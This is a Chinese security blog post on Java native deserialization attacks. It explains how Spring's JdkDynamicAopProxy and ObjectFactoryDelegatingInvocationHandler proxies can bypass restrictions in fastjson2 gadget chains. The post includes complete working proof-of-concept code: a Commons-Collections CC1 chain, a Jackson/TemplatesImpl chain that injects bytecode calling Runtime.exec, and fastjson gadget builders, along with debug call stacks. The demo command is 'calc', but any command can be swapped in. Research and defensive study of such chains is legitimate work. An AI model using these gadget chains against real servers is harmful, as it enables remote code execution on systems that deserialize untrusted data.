Eswlnk Blog Eswlnk Blog
  • 资源
    • 精彩视频
    • 破解专区
      • WHMCS
      • WordPress主题
      • WordPress插件
    • 其他分享
    • 极惠VPS
    • PDF资源
  • 关于我
    • 论文阅读
    • 关于本站
    • 通知
    • 左邻右舍
    • 玩物志趣
    • 日志
    • 专题
  • 热议话题
    • 游戏资讯
  • 红黑
    • 渗透分析
    • 攻防对抗
    • 代码发布
  • 自主研发
    • 知识库
    • 插件
      • ToolBox
      • HotSpot AI 热点创作
    • 区块
    • 快乐屋
    • 卡密
  • 乱步
    • 文章榜单
    • 热门标签
  • 问答中心反馈
  • 注册
  • 登录
首页 › 攻防对抗 › 「攻防对抗」利用 fastjson 原生反序列化与动态代理突破安全限制

「攻防对抗」利用 fastjson 原生反序列化与动态代理突破安全限制

Eswlnk的头像
Eswlnk
2025-02-19 18:11:46
「攻防对抗」利用 fastjson 原生反序列化与动态代理突破安全限制-Eswlnk Blog
智能摘要 AI
### 总结 这篇文章详细描述了如何通过动态代理机制(特别是`JdkDynamicAopProxy`)以及`ObjectFactoryDelegatingInvocationHandler`绕过Java序列化反序列化中的某些限制,实现恶意代码执行。以下是主要内容: --- #### 1. **背景与动态代理** - 动态代理允许在运行时生成代理类,以拦截目标类方法的调用。 - `JdkDynamicAopProxy` 是 Spring 框架中的动态代理实现,用于 AOP(面向切面编程)场景。 - 其 `invoke` 方法会根据方法名称(如 `equals`、`hashCode` 等)调用相应的逻辑,或通过反射执行目标方法。 #### 2. **反序列化绕过** - 在反序列化过程中,JSON 序列化库(如 Fastjson)会尝试反序列化包含代理对象的数据。 -

前言

对于动态代理,我记得在学习 cc1 时接触过一次,之后就没怎么再深入研究过。实际上,动态代理的应用非常广泛,很多关键时刻都会用到它。正好趁这个机会重新学习一下。还记得刚入门 Java 时,动态代理让我花了不少时间,虽然那时感觉它非常抽象。

CC1 动态代理初探

首先,让我们看一下调用链:

AnnotationInvocationHan.readObject → proxy.entrySet → AnnotationInvocationHan.invoke → LazyMap.get → chainedTransformer.transformer...

POC 示例

package cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC1lazy {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {

        // 定义一系列 Transformer 对象,构建变换链
        Transformer[] transformers = new Transformer[] {
            // 返回 Runtime.class
            new ConstantTransformer(Runtime.class),
            // 通过反射调用 getRuntime() 获取 Runtime 对象
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            // 通过反射调用 invoke() 方法
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            // 通过反射调用 exec() 启动计算器
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        // 将多个 Transformer 对象组成一个变换链
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap hash = new HashMap<>();
        // 使用变换链装饰 HashMap,生成新的 Map
        Map decorate = LazyMap.decorate(hash, chainedTransformer);

        // 通过反射获取 AnnotationInvocationHandler 的构造方法
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        // 设置构造方法可访问
        constructor.setAccessible(true);
        // 通过反射创建 AnnotationInvocationHandler 的代理对象,并设置其调用委托给 decorate
        InvocationHandler instance = (InvocationHandler) constructor.newInstance(Override.class, decorate);
        
        // 创建 Map 接口的代理对象 proxyInstance,并设置其调用处理器为 instance
        Map proxyInstance = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, instance);
        
        // 再次通过反射创建代理对象
        Object o = constructor.newInstance(Override.class, proxyInstance);

        serialize(o);
        unserialize("1.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
        out.writeObject(obj);
    }

    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
        out.readObject();
    }
}

这里我们主要分析了动态代理部分。

目标: 寻找一个能够触发 get 方法的地方。

我们找到了 AnnotationInvocationHandler 的 invoke 方法:

public Object invoke(Object var1, Method var2, Object[] var3) {
    String var4 = var2.getName();
    Class[] var5 = var2.getParameterTypes();
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
        return this.equalsImpl(var3[0]);
    } else if (var5.length != 0) {
        throw new AssertionError("Too many parameters for an annotation method");
    } else {
        switch (var4) {
            case "toString":
                return this.toStringImpl();
            case "hashCode":
                return this.hashCodeImpl();
            case "annotationType":
                return this.type;
            default:
                Object var6 = this.memberValues.get(var4);
                if (var6 == null) {
                    throw new IncompleteAnnotationException(this.type, var4);
                } else if (var6 instanceof ExceptionProxy) {
                    throw ((ExceptionProxy)var6).generateException();
                } else {
                    if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                        var6 = this.cloneArray(var6);
                    }
                    return var6;
                }
        }
    }
}

只要能够控制 memberValues,就可以成功触发 invoke 方法。

由于 AnnotationInvocationHandler 实现了 InvocationHandler 接口,这意味着它本身可以作为代理对象。通过创建动态代理并将 AnnotationInvocationHandler 作为调用处理器传入,我们就能够成功触发 invoke 方法。

动态代理的创建过程

通过 Proxy 创建代理对象,并将我们构造的 AnnotationInvocationHandler 对象作为调用处理器传入。由于 AnnotationInvocationHandler.readObject() 是反序列化的入口,我们需要通过该类包装代理对象,并重新序列化。在反序列化时,memberValues.entrySet() 方法会被调用,我们希望 memberValues 内部的代理对象触发 invoke() 方法,从而进入我们构建的链条。

调试调用栈

invoke:57, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy1 (com.sun.proxy)
readObject:444, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
unserialize:67, CC1lazy (cc1)
main:57, CC1lazy (cc1)

在调用 public abstract java.util.Set java.util.Map.entrySet() 时,触发了动态代理,并进而调用了代理的 invoke() 方法,开始执行我们的链条。

JdkDynamicAopProxy 代理绕过

虽然前面提到的代理在我们的链条中经常出现,但它仍然有不少限制,尤其是在 JDK 的高版本中,很多问题得到了修改和加强。

接下来我们来看一下这种动态代理类。

如何找到这种代理类呢?

其实方法很简单,只需要实现我们目标的接口,然后我们就可以找到这些接口的实现类。

「攻防对抗」利用 fastjson 原生反序列化与动态代理突破安全限制-Eswlnk Blog

但是限制就是需要我们存在依赖

网上找了一下,发现以前见过,网上公开的利用就是在 jackson 原生反序列化的时候

参考https://xz.aliyun.com/t/12846?time\_\_1311=GqGxuDcDRGexlxx2DU27oDkmD8SGCmzmeD
是为了解决 jackson 原生不稳定的痛点

正常的调用链

package org.jackson;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;

public class EXP {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
        constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
        ctClass.addConstructor(constructor);
        byte[] bytes = ctClass.toBytecode();
        Templates templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "xxx");
        setFieldValue(templatesImpl, "_tfactory", null);
        POJONode jsonNodes = new POJONode(templatesImpl);
        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(exp,jsonNodes);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(exp);
        FileOutputStream fout=new FileOutputStream("1.ser");
        fout.write(barr.toByteArray());
        fout.close();
        FileInputStream fileInputStream = new FileInputStream("1.ser");
        System.out.println(serial(exp));
        deserial(serial(exp));
    }

    public static String serial(Object o) throws IOException, NoSuchFieldException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }

    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
}

但是会爆错

Caused by: java.lang.NullPointerException
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getStylesheetDOM(TemplatesImpl.java:450)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)

爆指针的问题是因为在调用 getter 方法的时候,是根据 props 的顺序来决定的

protected void serializeFields(Object bean, JsonGenerator gen, SerializerProvider provider)
    throws IOException
{
    final BeanPropertyWriter[] props;
    if (_filteredProps != null && provider.getActiveView() != null) {
        props = _filteredProps;
    } else {
        props = _props;
    }
    int i = 0;
    try {
        for (final int len = props.length; i < len; ++i) {
            BeanPropertyWriter prop = props[i];
            if (prop != null) { // can have nulls in filtered list
                prop.serializeAsField(bean, gen, provider);
            }
        }
        if (_anyGetterWriter != null) {
            _anyGetterWriter.getAndSerialize(bean, gen, provider);
        }
    } catch (Exception e) {
        String name = (i == props.length) ? "[anySetter]" : props[i].getName();
        wrapAndThrow(provider, e, bean, name);
    } catch (StackOverflowError e) {
                    ...
    }
}

顺序不固定

transletindex
stylesheetDOM
outputProperties

当 stylesheetDOM 在 outputProperties 之前,所以 getStylesheetDOM 会先于 getOutputProperties 触发。当 getStylesheetDOM 方法先被触发时,由于 _sdom 成员为空,会导致空指针报错,反序列化攻击失败。

所以我们利用 JdkDynamicAopProxy 类来代理就是为了解决不稳定痛点,我们看到它的 invoke 方法

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    Object oldProxy = null;
    boolean setProxyContext = false;
    TargetSource targetSource = this.advised.targetSource;
    Object target = null;

    Object retVal;
    try {
        if (!this.equalsDefined && AopUtils.isEqualsMethod(method)) {
            Boolean var18 = this.equals(args[0]);
            return var18;
        }

        if (!this.hashCodeDefined && AopUtils.isHashCodeMethod(method)) {
            Integer var17 = this.hashCode();
            return var17;
        }

        if (method.getDeclaringClass() == DecoratingProxy.class) {
            Class var16 = AopProxyUtils.ultimateTargetClass(this.advised);
            return var16;
        }

        if (this.advised.opaque || !method.getDeclaringClass().isInterface() || !method.getDeclaringClass().isAssignableFrom(Advised.class)) {
            if (this.advised.exposeProxy) {
                oldProxy = AopContext.setCurrentProxy(proxy);
                setProxyContext = true;
            }

            target = targetSource.getTarget();
            Class<?> targetClass = target != null ? target.getClass() : null;
            List chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);
            if (chain.isEmpty()) {
                Object[] argsToUse = AopProxyUtils.adaptArgumentsIfNecessary(method, args);
                retVal = AopUtils.invokeJoinpointUsingReflection(target, method, argsToUse);
            } else {
                MethodInvocation invocation = new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);
                retVal = invocation.proceed();
            }

            Class<?> returnType = method.getReturnType();
            if (retVal != null && retVal == target && returnType != Object.class && returnType.isInstance(proxy) && !RawTargetAccess.class.isAssignableFrom(method.getDeclaringClass())) {
                retVal = proxy;
            } else if (retVal == null && returnType != Void.TYPE && returnType.isPrimitive()) {
                throw new AopInvocationException("Null return value from advice does not match primitive return type for: " + method);
            }

            Object var12 = retVal;
            return var12;
        }

        retVal = AopUtils.invokeJoinpointUsingReflection(this.advised, method, args);
    } finally {
        if (target != null && !targetSource.isStatic()) {
            targetSource.releaseTarget(target);
        }

        if (setProxyContext) {
            AopContext.setCurrentProxy(oldProxy);
        }

    }

    return retVal;
}

最后会返回一个 retVal 对象,而这个对象是

AopUtils.invokeJoinpointUsingReflection(this.advised, method, args)

得来的,跟进 invokeJoinpointUsingReflection 方法

「攻防对抗」利用 fastjson 原生反序列化与动态代理突破安全限制-Eswlnk Blog

可以看到可以反射调用方法

而 advised 成员是一个 org.springframework.aop.framework.AdvisedSupport 类型的对象,它的 targetSource 成员中保存了 JdkDynamicAopProxy 类代理的接口的实现类。

调用思路

1. 构造一个 `JdkDynamicAopProxy` 类型的对象,将 `TemplatesImpl` 类型的对象设置为 `targetSource`
2. 使用这个 `JdkDynamicAopProxy` 类型的对象构造一个代理类,代理 `javax.xml.transform.Templates` 接口
3. JSON 序列化库只能从这个 `JdkDynamicAopProxy` 类型的对象上找到 `getOutputProperties` 方法
4. 通过代理类的 `invoke` 机制,触发 `TemplatesImpl#getOutputProperties` 方法,实现恶意类加载

我们举一反三,使用在 fastjson 的原生反序列化中

替代 TemplatesImpl 并不容易,主要是因为要么所需的依赖库较为冷门,或者对版本的要求较为严格,要么是替代品的使用方式并不直观或不够灵活。

因此,换一种思路,我尝试在 JsonArray 和 TemplatesImpl 之间引入一个“中间层”,作为一个连接桥梁,这样既避免了直接替换 TemplatesImpl 的复杂性,又能够实现所需的功能

这里我们调试一下文章给出的代码

public class Fastjson4_JdkDynamicAopProxy {
    public Object getObject (String cmd) throws Exception {

        Object node1 = TemplatesImplNode.makeGadget(cmd);
        Object node2 = JdkDynamicAopProxyNode.makeGadget(node1);
        Proxy proxy = (Proxy) Proxy.newProxyInstance(Proxy.class.getClassLoader(),
                new Class[]{Templates.class}, (InvocationHandler)node2);
        Object node3 = JsonArrayNode.makeGadget(2,proxy);
        Object node4 = BadAttrValExeNode.makeGadget(node3);
        Object[] array = new Object[]{node1,node4};
        Object node5 = HashMapNode.makeGadget(array);
        return node5;
    }

    public static void main(String[] args) throws Exception {
        Object object = new Fastjson4_JdkDynamicAopProxy().getObject(Util.getDefaultTestCmd());
        Util.runGadgets(object);
    }
}

可以很直观的看到是代理了 Templates 接口,在代理类的构造中

public class JdkDynamicAopProxyNode {

    public static Object makeGadget(Object gadget) throws Exception {
        AdvisedSupport as = new AdvisedSupport();
        as.setTargetSource(new SingletonTargetSource(gadget));
        return Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy",AdvisedSupport.class,as);
    }
}

我们构造的恶意 TemplatesImpl 作为 TargetSource

「攻防对抗」利用 fastjson 原生反序列化与动态代理突破安全限制-Eswlnk Blog

因为代理的是 Templates

「攻防对抗」利用 fastjson 原生反序列化与动态代理突破安全限制-Eswlnk Blog

可以看到是只有一个 getter 方法,所以调用栈如下

invoke:160, JdkDynamicAopProxy (org.springframework.aop.framework)
getOutputProperties:-1, $Proxy1 (com.sun.proxy)
write:-1, OWG_1_1_$Proxy1 (com.alibaba.fastjson2.writer)
write:3124, JSONWriterUTF16 (com.alibaba.fastjson2)
toString:914, JSONArray (com.alibaba.fastjson2)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
readObject:1396, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
deserialize:53, Util (common)
runGadgets:38, Util (common)
main:24, Fastjson4_JdkDynamicAopProxy

只会调用getOutputProperties 方法,触发我们的 invoke

「攻防对抗」利用 fastjson 原生反序列化与动态代理突破安全限制-Eswlnk Blog

然后调用到我们 TemplatesImpl#getOutputProperties 方法成功实现中间过渡

「攻防对抗」利用 fastjson 原生反序列化与动态代理突破安全限制-Eswlnk Blog

ObjectFactoryDelegatingInvocationHandler 绕过

还是一样方法

「攻防对抗」利用 fastjson 原生反序列化与动态代理突破安全限制-Eswlnk Blog

首先主体逻辑还是和上面一样的,核心还是代理 Templates 接口

我们看到 invoke 方法

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    switch (method.getName()) {
        case "equals":
            return proxy == args[0];
        case "hashCode":
            return System.identityHashCode(proxy);
        case "toString":
            return this.objectFactory.toString();
        default:
            try {
                return method.invoke(this.objectFactory.getObject(), args);
            } catch (InvocationTargetException var6) {
                throw var6.getTargetException();
            }
    }
}

可以看到逻辑,还是一样的,不过区别在于我们的对象是 this.objectFactory.getObject()获取的了

目的就是需要它返回我们的 teamplatesImpl 对象

首先我们寻找继承了 ObjectFactory 的类

「攻防对抗」利用 fastjson 原生反序列化与动态代理突破安全限制-Eswlnk Blog

也不太多

找了一下确实没有能够利用的。这里师傅的想法是

用 JSONObject 代理 ObjectFactoryDelegatingInvocationHandler 中的 objectFactory 属性,返回 teamplatesImpl

说真的,简直很妙,我们看到 invoke 方法:

「攻防对抗」利用 fastjson 原生反序列化与动态代理突破安全限制-Eswlnk Blog

没想到它也是一个代理类

调试分析一下

invoke:292, AutowireUtils$ObjectFactoryDelegatingInvocationHandler (org.springframework.beans.factory.support)
getOutputProperties:-1, $Proxy2 (com.sun.proxy)
write:-1, OWG_1_1_$Proxy2 (com.alibaba.fastjson2.writer)
write:3124, JSONWriterUTF16 (com.alibaba.fastjson2)
toString:914, JSONArray (com.alibaba.fastjson2)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
readObject:1396, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
deserialize:53, Util (common)
runGadgets:38, Util (common)
main:33, Fastjson4_ObjectFactoryDelegatingInvocationHandler
「攻防对抗」利用 fastjson 原生反序列化与动态代理突破安全限制-Eswlnk Blog

然后调用 JSONObject 的 invoke 方法

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    String methodName = method.getName();
    int parameterCount = method.getParameterCount();
    Class<?> returnType = method.getReturnType();
    if (parameterCount == 1) {
        if ("equals".equals(methodName)) {
            return this.equals(args[0]);
        } else {
            Class proxyInterface = null;
            Class<?>[] interfaces = proxy.getClass().getInterfaces();
            if (interfaces.length == 1) {
                proxyInterface = interfaces[0];
            }

            if (returnType != Void.TYPE && returnType != proxyInterface) {
                throw new JSONException("This method '" + methodName + "' is not a setter");
            } else {
                String name = this.getJSONFieldName(method);
                if (name == null) {
                    if (!methodName.startsWith("set")) {
                        throw new JSONException("This method '" + methodName + "' is not a setter");
                    }

                    name = methodName.substring(3);
                    if (name.length() == 0) {
                        throw new JSONException("This method '" + methodName + "' is an illegal setter");
                    }

                    name = Character.toLowerCase(name.charAt(0)) + name.substring(1);
                }

                this.put(name, args[0]);
                return returnType != Void.TYPE ? proxy : null;
            }
        }
    } else if (parameterCount == 0) {
        if (returnType == Void.TYPE) {
            throw new JSONException("This method '" + methodName + "' is not a getter");
        } else {
            String name = this.getJSONFieldName(method);
            Object value;
            if (name == null) {
                boolean with = false;
                int prefix;
                if ((methodName.startsWith("get") || (with = methodName.startsWith("with"))) && methodName.length() > (prefix = with ? 4 : 3)) {
                    char[] chars = new char[methodName.length() - prefix];
                    methodName.getChars(prefix, methodName.length(), chars, 0);
                    if (chars[0] >= 'A' && chars[0] <= 'Z') {
                        chars[0] = (char)(chars[0] + 32);
                    }

                    String fieldName = new String(chars);
                    if (fieldName.isEmpty()) {
                        throw new JSONException("This method '" + methodName + "' is an illegal getter");
                    }

                    value = this.get(fieldName);
                    if (value == null) {
                        return null;
                    }
                } else {
                    if (!methodName.startsWith("is")) {
                        if ("hashCode".equals(methodName)) {
                            return this.hashCode();
                        }

                        if ("toString".equals(methodName)) {
                            return this.toString();
                        }

                        if (methodName.startsWith("entrySet")) {
                            return this.entrySet();
                        }

                        if ("size".equals(methodName)) {
                            return this.size();
                        }

                        Class<?> declaringClass = method.getDeclaringClass();
                        if (declaringClass.isInterface() && !Modifier.isAbstract(method.getModifiers()) && !JDKUtils.ANDROID && !JDKUtils.GRAAL) {
                            MethodHandles.Lookup lookup = JDKUtils.trustedLookup(declaringClass);
                            MethodHandle methodHandle = lookup.findSpecial(declaringClass, method.getName(), MethodType.methodType(returnType), declaringClass);
                            return methodHandle.invoke(proxy);
                        }

                        throw new JSONException("This method '" + methodName + "' is not a getter");
                    }

                    if ("isEmpty".equals(methodName)) {
                        value = this.get("empty");
                        if (value == null) {
                            return this.isEmpty();
                        }
                    } else {
                        name = methodName.substring(2);
                        if (name.isEmpty()) {
                            throw new JSONException("This method '" + methodName + "' is an illegal getter");
                        }

                        name = Character.toLowerCase(name.charAt(0)) + name.substring(1);
                        value = this.get(name);
                        if (value == null) {
                            return false;
                        }
                    }
                }
            } else {
                value = this.get(name);
                if (value == null) {
                    return null;
                }
            }

            if (!returnType.isInstance(value)) {
                Function typeConvert = JSONFactory.getDefaultObjectReaderProvider().getTypeConvert(value.getClass(), method.getGenericReturnType());
                if (typeConvert != null) {
                    value = typeConvert.apply(value);
                }
            }

            return value;
        }
    } else {
        throw new UnsupportedOperationException(method.toGenericString());
    }
}

最后返回的是 value,我们主要关心 value

因为我们调用的方法是 getObejct\
会进入如下的 if

if ((methodName.startsWith("get") || (with = methodName.startsWith("with"))) && methodName.length() > (prefix = with ? 4 : 3)) {
char[] chars = new char[methodName.length() - prefix];
methodName.getChars(prefix, methodName.length(), chars, 0);
if (chars[0] >= 'A' && chars[0] <= 'Z') {
    chars[0] = (char)(chars[0] + 32);
}

String fieldName = new String(chars);
if (fieldName.isEmpty()) {
    throw new JSONException("This method '" + methodName + "' is an illegal getter");
}

value = this.get(fieldName);
if (value == null) {
    return null;
}
「攻防对抗」利用 fastjson 原生反序列化与动态代理突破安全限制-Eswlnk Blog
「攻防对抗」利用 fastjson 原生反序列化与动态代理突破安全限制-Eswlnk Blog

可以看出来是取出了我们的对象,成功达成目的

「攻防对抗」利用 fastjson 原生反序列化与动态代理突破安全限制-Eswlnk Blog
「攻防对抗」利用 fastjson 原生反序列化与动态代理突破安全限制-Eswlnk Blog

最后成功达成目的

本站默认网盘访问密码:1166
本站默认网盘访问密码:1166
声明:本站原创文章文字版权归本站所有,转载务必注明作者和出处;本站转载文章仅仅代表原作者观点,不代表本站立场,图文版权归原作者所有。如有侵权,请联系我们删除。
javalinux安全攻防对抗漏洞网络安全
0
0
Eswlnk的头像
Eswlnk
一个有点倒霉的研究牲站长
赞赏
「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程
上一篇
今日热点:伪Clash软件下载陷阱曝光,附防范建议
下一篇

评论 (0)

请登录以参与评论
现在登录
    发表评论

猜你喜欢

  • 「漏洞资讯」CVE-2025-12914:宝塔面板曝出注入漏洞
  • 今日热点:伪Clash软件下载陷阱曝光,附防范建议
  • 漏洞资讯:Ollama 未授权访问漏洞分析与防护指南
  • 开发日志:解决Windows平台无法使用Metview解析数据的难题
  • 「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程
Eswlnk的头像

Eswlnk

一个有点倒霉的研究牲站长
1108
文章
319
评论
679
获赞

随便看看

如何处理QQ访问网站提示非官方页面的拦截问题
2021-06-05 17:35:29
威胁组织UNC3944滥用Azure串行控制台造成虚拟机完全接管
2023-05-18 12:55:48
「原创教程」使用内存有限的 MCU 驱动电子纸显示器
2022-11-22 1:02:40

文章目录

专题展示

WordPress53

工程实践37

热门标签

360 AI API CDN java linux Nginx PDF PHP python SEO Windows WordPress 云服务器 云服务器知识 代码 免费 安全 安卓 工具 开发日志 微信 微软 手机 插件 攻防 攻防对抗 教程 日志 渗透分析 源码 漏洞 电脑 破解 系统 编程 网站优化 网络 网络安全 脚本 苹果 谷歌 软件 运维 逆向
  • 首页
  • 知识库
  • 地图
Copyright © 2023-2025 Eswlnk Blog. Designed by XiaoWu.
本站CDN由 壹盾安全 提供高防CDN安全防护服务
蜀ICP备20002650号-10
页面生成用时 1.368 秒   |  SQL查询 31 次
本站勉强运行:
友情链接: Eswlnk Blog 网站渗透 倦意博客 特资啦!个人资源分享站 祭夜博客 iBAAO壹宝头条
  • WordPress142
  • 网络安全64
  • 漏洞52
  • 软件52
  • 安全48
现在登录
  • 资源
    • 精彩视频
    • 破解专区
      • WHMCS
      • WordPress主题
      • WordPress插件
    • 其他分享
    • 极惠VPS
    • PDF资源
  • 关于我
    • 论文阅读
    • 关于本站
    • 通知
    • 左邻右舍
    • 玩物志趣
    • 日志
    • 专题
  • 热议话题
    • 游戏资讯
  • 红黑
    • 渗透分析
    • 攻防对抗
    • 代码发布
  • 自主研发
    • 知识库
    • 插件
      • ToolBox
      • HotSpot AI 热点创作
    • 区块
    • 快乐屋
    • 卡密
  • 乱步
    • 文章榜单
    • 热门标签
  • 问答中心反馈